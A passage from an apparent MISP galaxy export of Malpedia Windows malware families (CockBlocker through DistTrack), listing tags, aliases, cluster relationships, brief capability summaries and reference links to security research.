https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/
https://github.com/hfiref0x/TDL

CockBlocker

The tag is: *misp-galaxy:malpedia="CockBlocker"*

CockBlocker is also known as:

Table 904. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cockblocker
https://twitter.com/JaromirHorejsi/status/817311664391524352

CodeKey

The tag is: *misp-galaxy:malpedia="CodeKey"*

CodeKey is also known as:

Table 905. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.codekey
https://www.rsa.com/content/dam/pdfs/2-2017/kingslayer-a-supply-chain-attack.pdf

Cohhoc

The tag is: *misp-galaxy:malpedia="Cohhoc"*

Cohhoc is also known as:

Table 906. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cohhoc
https://public.gdatasoftware.com/Presse/Publikationen/Whitepaper/EN/GDATA_TooHash_CaseStudy_102014_EN_v1.pdf

Coinminer

The tag is: *misp-galaxy:malpedia="Coinminer"*

Coinminer is also known as:

Table 907. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coinminer
https://secrary.com/ReversingMalware/CoinMiner/
https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/amp/

Colony

The tag is: *misp-galaxy:malpedia="Colony"*

Colony is also known as:

- Bandios
- GrayBird

Table 908. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.colony
https://twitter.com/anyrun_app/status/976385355384590337
https://secrary.com/ReversingMalware/Colony_Bandios/
https://pastebin.com/GtjBXDmz

Combojack

The tag is: *misp-galaxy:malpedia="Combojack"*

Combojack is also known as:

Table 909. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.combojack
https://researchcenter.paloaltonetworks.com/2018/03/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/

Combos

The tag is: *misp-galaxy:malpedia="Combos"*

Combos is also known as:

Table 910. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.combos
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

ComodoSec

The tag is: *misp-galaxy:malpedia="ComodoSec"*

ComodoSec is also known as:

Table 911. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.comodosec
https://techhelplist.com/down/malware-ransom-comodosec-mrcr1.txt

Computrace

The tag is: *misp-galaxy:malpedia="Computrace"*

Computrace is also known as:

- lojack

Table 912. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.computrace
https://asert.arbornetworks.com/lojack-becomes-a-double-agent/
https://bartblaze.blogspot.de/2014/11/thoughts-on-absolute-computrace.html

https://www.absolute.com/en/resources/faq/absolute-response-to-arbor-lojack-research
https://www.lastline.com/labsblog/apt28-rollercoaster-the-lowdown-on-hijacked-lojack/

ComradeCircle

The tag is: *misp-galaxy:malpedia="ComradeCircle"*

ComradeCircle is also known as:

Table 913. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.comrade_circle
https://twitter.com/struppigel/status/816926371867926528

concealment_troy

The tag is: *misp-galaxy:malpedia="concealment_troy"*

concealment_troy is also known as:

Table 914. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.concealment_troy
https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf
http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html

Conficker

The tag is: *misp-galaxy:malpedia="Conficker"*

Conficker is also known as:

- downadup
- traffic converter

Conficker has relationships with:

- similar: misp-galaxy:botnet="Conficker" with estimative-language:likelihood-probability="likely"

Table 915. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.conficker
http://contagiodump.blogspot.com/2009/05/win32conficker.html

Confucius

The tag is: *misp-galaxy:malpedia="Confucius"*

Confucius is also known as:

Table 916. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.confucius
https://researchcenter.paloaltonetworks.com/2016/09/unit42-confucius-says-malware-families-get-further-by-abusing-legitimate-websites/
https://researchcenter.paloaltonetworks.com/2017/11/unit42-recent-inpage-exploits-lead-multiple-malware-families/

Contopee

The tag is: *misp-galaxy:malpedia="Contopee"*

Contopee is also known as:

Table 917. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.contopee
https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks

CookieBag

The tag is: *misp-galaxy:malpedia="CookieBag"*

CookieBag is also known as:

Table 918. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cookiebag
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Corebot

The tag is: *misp-galaxy:malpedia="Corebot"*

Corebot is also known as:

Corebot has relationships with:

- similar: misp-galaxy:banker="Corebot" with estimative-language:likelihood-probability="likely"

Table 919. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.corebot
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/02/ASERT-Threat-Intelligence-Brief-2016-02-Corebot-1.pdf
https://malwarebreakdown.com/2017/09/11/re-details-malspam-downloads-corebot-banking-trojan/
http://blog.deepinstinct.com/2017/11/08/a-deeper-dive-into-corebots-comeback/

Coreshell

The tag is: *misp-galaxy:malpedia="Coreshell"*

Coreshell is also known as:

Table 920. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coreshell
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf
http://malware.prevenity.com/2014/08/malware-info.html
http://www.malware-reversing.com/2012/12/3-disclosure-of-another-0day-malware.html

CradleCore

The tag is: *misp-galaxy:malpedia="CradleCore"*

CradleCore is also known as:

Table 921. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cradlecore
https://blogs.forcepoint.com/security-labs/cradlecore-ransomware-source-code-sale

CrashOverride

The tag is: *misp-galaxy:malpedia="CrashOverride"*

CrashOverride is also known as:

- Crash
- Industroyer

Table 922. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crashoverride
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
https://www.welivesecurity.com/2017/06/12/industroyer-biggest-threat-industrial-control-systems-since-stuxnet/
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

Credraptor

The tag is: *misp-galaxy:malpedia="Credraptor"*

Credraptor is also known as:

Table 923. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.credraptor
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/

Crenufs

The tag is: *misp-galaxy:malpedia="Crenufs"*

Crenufs is also known as:

Table 924. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crenufs

Crimson

The tag is: *misp-galaxy:malpedia="Crimson"*

Crimson is also known as:

Crimson has relationships with:

- similar: misp-galaxy:rat="Crimson" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="Crimson - S0115" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Crimson" with estimative-language:likelihood-probability="likely"

Table 925. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.crimson
https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF

Crisis

The tag is: *misp-galaxy:malpedia="Crisis"*

Crisis is also known as:

Crisis has relationships with:

- similar: misp-galaxy:malpedia="RCS" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Crisis" with estimative-language:likelihood-probability="likely"

Table 926. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crisis
http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html
https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines
https://www.intego.com/mac-security-blog/new-apple-mac-trojan-called-osxcrisis-discovered-by-intego-virus-team/?

Cryakl

The tag is: *misp-galaxy:malpedia="Cryakl"*

Cryakl is also known as:

Cryakl has relationships with:

- similar: misp-galaxy:ransomware="Offline ransomware" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryakl" with estimative-language:likelihood-probability="likely"

Table 927. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryakl
https://hackmag.com/security/ransomware-russian-style/
https://securelist.ru/shifrovalshhik-cryakl-ili-fantomas-razbushevalsya/24070/
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojCryakl-B/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojCryakl-B/detailed-analysis.aspx]
https://www.v3.co.uk/v3-uk/news/3026414/belgian-police-release-decryption-keys-for-cryakl-ransomware

https://twitter.com/demonslay335/status/971164798376468481

CryLocker

The tag is: *misp-galaxy:malpedia="CryLocker"*

CryLocker is also known as:

CryLocker has relationships with:

- similar: misp-galaxy:ransomware="Central Security Treatment Organization" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryLocker" with estimative-language:likelihood-probability="likely"

Table 928. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crylocker

CrypMic

The tag is: *misp-galaxy:malpedia="CrypMic"*

CrypMic is also known as:

Table 929. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crypmic
https://blog.trendmicro.com/trendlabs-security-intelligence/crypmic-ransomware-wants-to-follow-cryptxxx/
https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/

Crypt0l0cker

The tag is: *misp-galaxy:malpedia="Crypt0l0cker"*

Crypt0l0cker is also known as:

Table 930. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crypt0l0cker
http://blog.talosintelligence.com/2017/08/first-look-crypt0l0cker.html

CryptoLocker

CryptoLocker is a new sophisticated malware that was launched in the late 2013. It is designed to attack Windows operating system by encrypting all the files from the system using a RSA-2048 public key. To decrypt the mentioned files, the user has to pay a ransom (usually 300 USD/EUR) or 2 BitCoins.

The tag is: *misp-galaxy:malpedia="CryptoLocker"*

CryptoLocker is also known as:

CryptoLocker has relationships with:

- similar: misp-galaxy:ransomware="CryptoLocker" with estimative-language:likelihood-probability="likely"

Table 931. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptolocker
https://www.secureworks.com/research/cryptolocker-ransomware
https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware

CryptoLuck

The tag is: *misp-galaxy:malpedia="CryptoLuck"*

CryptoLuck is also known as:

Table 932. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoluck
http://www.bleepingcomputer.com/news/security/cryptoluck-ransomware-being-malvertised-via-rig-e-exploit-kits/

CryptoMix

The tag is: *misp-galaxy:malpedia="CryptoMix"*

CryptoMix is also known as:

- CryptFile2

CryptoMix has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

Table 933. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptomix
https://www.cert.pl/en/news/single/technical-analysis-of-cryptomixcryptfile2-ransomware/
https://www.bleepingcomputer.com/news/security/work-cryptomix-ransomware-variant-released/

Cryptorium

The tag is: *misp-galaxy:malpedia="Cryptorium"*

Cryptorium is also known as:

Table 934. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptorium
https://twitter.com/struppigel/status/810770490491043840

CryptoShield

The tag is: *misp-galaxy:malpedia="CryptoShield"*

CryptoShield is also known as:

Table 935. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshield
https://www.bleepingcomputer.com/news/security/revenge-ransomware-a-cryptomix-variant-being-distributed-by-rig-exploit-kit/
http://www.broadanalysis.com/2017/03/14/rig-exploit-kit-via-the-eitest-delivers-cryptoshieldrevenge-ransomware/

CryptoShuffler

The tag is: *misp-galaxy:malpedia="CryptoShuffler"*

CryptoShuffler is also known as:

Table 936. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshuffler
https://www.bleepingcomputer.com/news/security/cryptoshuffler-stole-150-000-by-replacing-bitcoin-wallet-ids-in-pc-clipboards/

Cryptowall

The tag is: *misp-galaxy:malpedia="Cryptowall"*

Cryptowall is also known as:

Table 937. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowall

CryptoWire

The tag is: *misp-galaxy:malpedia="CryptoWire"*

CryptoWire is also known as:

CryptoWire has relationships with:

- similar: misp-galaxy:ransomware="Owl" with estimative-language:likelihood-probability="likely"

Table 938. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowire
https://www.bleepingcomputer.com/news/security/-proof-of-concept-cryptowire-ransomware-spawns-lomix-and-ultralocker-families/

CryptoFortress

The tag is: *misp-galaxy:malpedia="CryptoFortress"*

CryptoFortress is also known as:

CryptoFortress has relationships with:

- similar: misp-galaxy:ransomware="CryptoFortress" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="TorrentLocker" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TorrentLocker" with estimative-language:likelihood-probability="likely"

Table 939. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crypto_fortress

https://www.welivesecurity.com/2015/03/09/cryptofortress-mimics-torrentlocker-different-ransomware/
https://www.lexsi.com/securityhub/cryptofortress/?lang=en
http://malware.dontneedcoffee.com/2015/03/cryptofortress-teeraca-aka.html

CryptoRansomeware

The tag is: *misp-galaxy:malpedia="CryptoRansomeware"*

CryptoRansomeware is also known as:

CryptoRansomeware has relationships with:

- similar: misp-galaxy:ransomware="CryptoRansomeware" with estimative-language:likelihood-probability="likely"

Table 940. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crypto_ransomeware
https://twitter.com/JaromirHorejsi/status/818369717371027456

CryptXXXX

The tag is: *misp-galaxy:malpedia="CryptXXXX"*

CryptXXXX is also known as:

Table 941. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptxxxx
https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/

CsExt

The tag is: *misp-galaxy:malpedia="CsExt"*

CsExt is also known as:

Table 942. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.csext
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Cuegoe

The tag is: *misp-galaxy:malpedia="Cuegoe"*

Cuegoe is also known as:

- Windshield?

Table 943. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cuegoe
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
https://www.eff.org/deeplinks/2014/01/vietnamese-malware-gets-personal
http://blog.malwaremustdie.org/2014/08/another-country-sponsored-malware.html
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3451

Cueisfry

The tag is: *misp-galaxy:malpedia="Cueisfry"*

Cueisfry is also known as:

Table 944. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cueisfry
https://www.secureworks.com/blog/apt-campaign-leverages-the-cueisfry-trojan-and-microsoft-word-vulnerability-cve-2014-1761

Cutlet

The tag is: *misp-galaxy:malpedia="Cutlet"*

Cutlet is also known as:

Table 945. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cutlet
http://www.vkremez.com/2017/12/lets-learn-cutlet-atm-malware-internals.html

Cutwail

The tag is: *misp-galaxy:malpedia="Cutwail"*

Cutwail is also known as:

Cutwail has relationships with:

- similar: misp-galaxy:botnet="Cutwail" with estimative-language:likelihood-probability="likely"

Table 946. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cutwail

CyberGate

The tag is: *misp-galaxy:malpedia="CyberGate"*

CyberGate is also known as:

- Rebhip

CyberGate has relationships with:

- similar: misp-galaxy:rat="CyberGate" with estimative-language:likelihood-probability="likely"

Table 947. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cybergate
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

CyberSplitter

The tag is: *misp-galaxy:malpedia="CyberSplitter"*

CyberSplitter is also known as:

CyberSplitter has relationships with:

- similar: misp-galaxy:ransomware="Cyber SpLiTTer Vbs" with estimative-language:likelihood-probability="likely"

Table 948. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cyber_splitter

CycBot

The tag is: *misp-galaxy:malpedia="CycBot"*

CycBot is also known as:

Table 949. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cycbot
https://www.welivesecurity.com/2011/07/14/cycbot-ready-to-ride/

Dairy

The tag is: *misp-galaxy:malpedia="Dairy"*

Dairy is also known as:

Table 950. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dairy
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

DanaBot

Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on “quality over quantity” in email-based threats. DanaBot’s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.

The tag is: *misp-galaxy:malpedia="DanaBot"*

DanaBot is also known as:

DanaBot has relationships with:

- similar: misp-galaxy:banker="DanaBot" with estimative-language:likelihood-probability="likely"

Table 951. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot
https://0ffset.wordpress.com/2018/06/05/post-0x08-analyzing-danabot-downloader/
https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0
https://www.trustwave.com/Resources/SpiderLabs-Blog/DanaBot-Riding-Fake-MYOB-Invoice-Emails/
https://www.proofpoint.com/us/threat-insight/post/danabot-gains-popularity-and-targets-us-organizations-large-campaigns
https://www.welivesecurity.com/2018/09/21/danabot-targeting-europe-adds-new-features/

DarkComet

The tag is: *misp-galaxy:malpedia="DarkComet"*

DarkComet is also known as:

- Fynloski
- klovbot

DarkComet has relationships with:

- similar: misp-galaxy:rat="DarkComet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Dark Comet" with estimative-language:likelihood-probability="likely"

Table 952. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcomet
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/
https://blog.malwarebytes.com/threat-analysis/2012/10/dark-comet-2-electric-boogaloo/
https://darkcomet.net
http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html

DarkMegi

The tag is: *misp-galaxy:malpedia="DarkMegi"*

DarkMegi is also known as:

Table 953. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmegi
http://contagiodump.blogspot.com/2012/04/this-is-darkmegie-rootkit-sample-kindly.html
http://stopmalvertising.com/rootkits/analysis-of-darkmegi-aka-npcdark.html

Darkmoon

The tag is: *misp-galaxy:malpedia="Darkmoon"*

Darkmoon is also known as:

- Chymine

Darkmoon has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Darkmoon - S0209" with estimative-

language:likelihood-probability="likely"

Table 954. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmoon
http://contagiodump.blogspot.com/2010/01/jan-17-trojan-darkmoonb-exe-haiti.html
http://contagiodump.blogspot.com/2010/07/cve-2010-2568-keylogger-win32chyminea.html
https://www.f-secure.com/v-descs/trojan-downloader_w32_chymine_a.shtml

DarkPulsar

The tag is: *misp-galaxy:malpedia="DarkPulsar"*

DarkPulsar is also known as:

Table 955. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkpulsar
https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/

DarkShell

DarkShell is a DDoS bot seemingly of Chinese origin, discovered in 2011. During 2011, DarkShell was reported to target the industrial food processing industry.

The tag is: *misp-galaxy:malpedia="DarkShell"*

DarkShell is also known as:

Table 956. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkshell
https://www.arbornetworks.com/blog/asert/darkshell-a-ddos-bot-targetting-vendors-of-industrial-food-processing-equipment/

Darksky

DarkSky is a botnet that is capable of downloading malware, conducting a number of network and application-layer distributed denial-of-service (DDoS) attacks, and detecting and evading security controls, such as sandboxes and virtual machines. It is advertised for sale on the dark web for $20. Much of the malware that DarkSky has available to download onto targeted systems is associated with cryptocurrency-mining activity. The DDoS attacks that DarkSky can perform include DNS amplification attacks, TCP (SYN) flood, UDP flood, and HTTP flood. The botnet can also perform a check to determine whether or not the DDoS attack succeeded and turn infected systems into a

SOCKS/HTTP proxy to route traffic to a remote server.

The tag is: *misp-galaxy:malpedia="Darksky"*

Darksky is also known as:

Table 957. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darksky
https://blog.radware.com/security/2018/02/darksky-botnet/
http://telegra.ph/Analiz-botneta-DarkSky-12-30
https://github.com/ims0rry/DarkSky-botnet

DarkStRat

The tag is: *misp-galaxy:malpedia="DarkStRat"*

DarkStRat is also known as:

Table 958. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkstrat
https://www.welivesecurity.com/2014/11/12/korplug-military-targeted-attacks-afghanistan-tajikistan/

DarkTequila

Dark Tequila is a complex malicious campaign targeting Mexican users, with the primary purpose of stealing financial information, as well as login credentials to popular websites that range from code versioning repositories to public file storage accounts and domain registrars.

The tag is: *misp-galaxy:malpedia="DarkTequila"*

DarkTequila is also known as:

Table 959. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darktequila
https://securelist.com/dark-tequila-anejo/87528/

Darktrack RAT

The tag is: *misp-galaxy:malpedia="Darktrack RAT"*

Darktrack RAT is also known as:

Table 960. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darktrack_rat
http://news.softpedia.com/news/free-darktrack-rat-has-the-potential-of-being-the-best-rat-on-the-market-508179.shtml
https://nioguard.blogspot.de/2017/05/targeted-attack-against-ukrainian.html

Daserf

The tag is: *misp-galaxy:malpedia="Daserf"*

Daserf is also known as:

- Muirim
- Nioupale

Daserf has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Daserf - S0187" with estimative-language:likelihood-probability="likely"

Table 961. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.daserf
https://researchcenter.paloaltonetworks.com/2017/07/unit42-tick-group-continues-attacks/
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses

Datper

The tag is: *misp-galaxy:malpedia="Datper"*

Datper is also known as:

Table 962. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.datper
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/
http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html

DDKONG

The tag is: *misp-galaxy:malpedia="DDKONG"*

DDKONG is also known as:

DDKONG has relationships with:

- similar: misp-galaxy:tool="DDKONG" with estimative-language:likelihood-probability="likely"

Table 963. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkong
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

Decebal

The tag is: *misp-galaxy:malpedia="Decebal"*

Decebal is also known as:

Table 964. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.decebal
https://www.wired.com/wp-content/uploads/2014/09/wp-pos-ram-scraper-malware.pdf
https://community.softwaregrp.com/t5/Security-Research/POS-malware-a-look-at-Dexter-and-Decebal/ba-p/272157
https://www.fireeye.com/blog/threat-research/2014/10/data-theft-in-aisle-9-a-fireeye-look-at-threats-to-retailers.html

Delta(Alfa,Bravo, ...)

The tag is: *misp-galaxy:malpedia="Delta(Alfa,Bravo, ...)"*

Delta(Alfa,Bravo, ...) is also known as:

Table 965. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deltas
https://www.arbornetworks.com/blog/asert/pivoting-off-hidden-cobra-indicators/

Dented

Dented is a banking bot written in C. It supports IE, Firefox, Chrome, Opera and Edge and comes with a simple POS grabber. Due to its modularity, reverse socks 5, tor and vnc can be added.

The tag is: *misp-galaxy:malpedia="Dented"*

Dented is also known as:

Table 966. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dented

DeputyDog

The tag is: *misp-galaxy:malpedia="DeputyDog"*

DeputyDog is also known as:

Table 967. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deputydog
https://www.fireeye.com/blog/threat-research/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html

DeriaLock

The tag is: *misp-galaxy:malpedia="DeriaLock"*

DeriaLock is also known as:

Table 968. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deria_lock
https://twitter.com/struppigel/status/812601286088597505

Derusbi

The tag is: *misp-galaxy:malpedia="Derusbi"*

Derusbi is also known as:

Derusbi has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Derusbi - S0021" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Derusbi" with estimative-language:likelihood-probability="likely"

Table 969. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.derusbi
https://www.virusbulletin.com/uploads/pdf/conference_slides/2015/Pun-etal-VB2015.pdf
http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/

Devil's Rat

The tag is: *misp-galaxy:malpedia="Devil's Rat"*

Devil's Rat is also known as:

Table 970. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.devils_rat

Dexter

The tag is: *misp-galaxy:malpedia="Dexter"*

Dexter is also known as:

- LusyPOS

Table 971. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dexter
https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/25000/PD25658/en_US/McAfee_Labs_Threat_Advisory-LusyPOS.pdf
https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Dexter-Malware—Getting-Your-Hands-Dirty/
https://blog.fortinet.com/2014/03/10/how-dexter-steals-credit-card-information
https://securitykitten.github.io/2014/12/01/lusypos-and-tor.html
http://contagiodump.blogspot.com/2012/12/dexter-pos-infostealer-samples-and.html
https://blog.trendmicro.com/trendlabs-security-intelligence/infostealer-dexter-targets-checkout-systems/
https://volatility-labs.blogspot.com/2012/12/unpacking-dexter-pos-memory-dump.html

DE Loader

The tag is: *misp-galaxy:malpedia="DE Loader"*

DE Loader is also known as:

Table 972. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.de_loader
https://blog.fortinet.com/2016/06/21/the-curious-case-of-an-unknown-trojan-targeting-german-speaking-users
https://blogs.forcepoint.com/security-labs/zeus-delivered-deloader-defraud-customers-canadian-banks
https://int0xcc.svbtle.com/dissecting-obfuscated-deloader-malware

Dharma

The tag is: *misp-galaxy:malpedia="Dharma"*

Dharma is also known as:

- Crysis
- Arena

Table 973. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dharma
https://www.bleepingcomputer.com/news/security/new-arena-crysis-ransomware-variant-released/

DiamondFox

The tag is: *misp-galaxy:malpedia="DiamondFox"*

DiamondFox is also known as:

- Crystal
- Gorynych
- Gorynch

Table 974. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.diamondfox
https://www.scmagazine.com/inside-diamondfox/article/578478/
https://blog.malwarebytes.com/threat-analysis/2017/03/diamond-fox-p1/
https://blog.malwarebytes.com/threat-analysis/2017/04/diamond-fox-p2/
http://blog.checkpoint.com/2017/05/10/diamondfox-modular-malware-one-stop-shop/
https://blog.cylance.com/a-study-in-bots-diamondfox

Dimnie

The tag is: *misp-galaxy:malpedia="Dimnie"*

Dimnie is also known as:

Dimnie has relationships with:

- similar: misp-galaxy:tool="Dimnie" with estimative-language:likelihood-probability="likely"

Table 975. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dimnie
http://researchcenter.paloaltonetworks.com/2017/03/unit42-dimnie-hiding-plain-sight/

DirCrypt

The tag is: *misp-galaxy:malpedia="DirCrypt"*

DirCrypt is also known as:

DirCrypt has relationships with:

- similar: misp-galaxy:ransomware="DirCrypt" with estimative-language:likelihood-probability="likely"

Table 976. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dircrypt
https://www.johannesbader.ch/2015/03/the-dga-of-dircrypt/
https://www.checkpoint.com/download/public-files/TCC_WP_Hacking_The_Hacker.pdf

DistTrack

The tag is: *misp-galaxy:malpedia="DistTrack"*

DistTrack is also known as:

Table 977. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.disttrack
https://www.codeandsec.com/Sophisticated-CyberWeapon-Shamoon-2-Malware-Analysis
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/?adbsc=social68389776&adbid=804134348374970368&adbpl=tw&adbpr=4487645412

https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon
http://www.vinransomware.com/blog/detailed-threat-analysis-of-shamoon-2-0-malware
http://researchcenter.paloaltonetworks.com/2017/03/unit42-shamoon-2-delivering-disttrack/
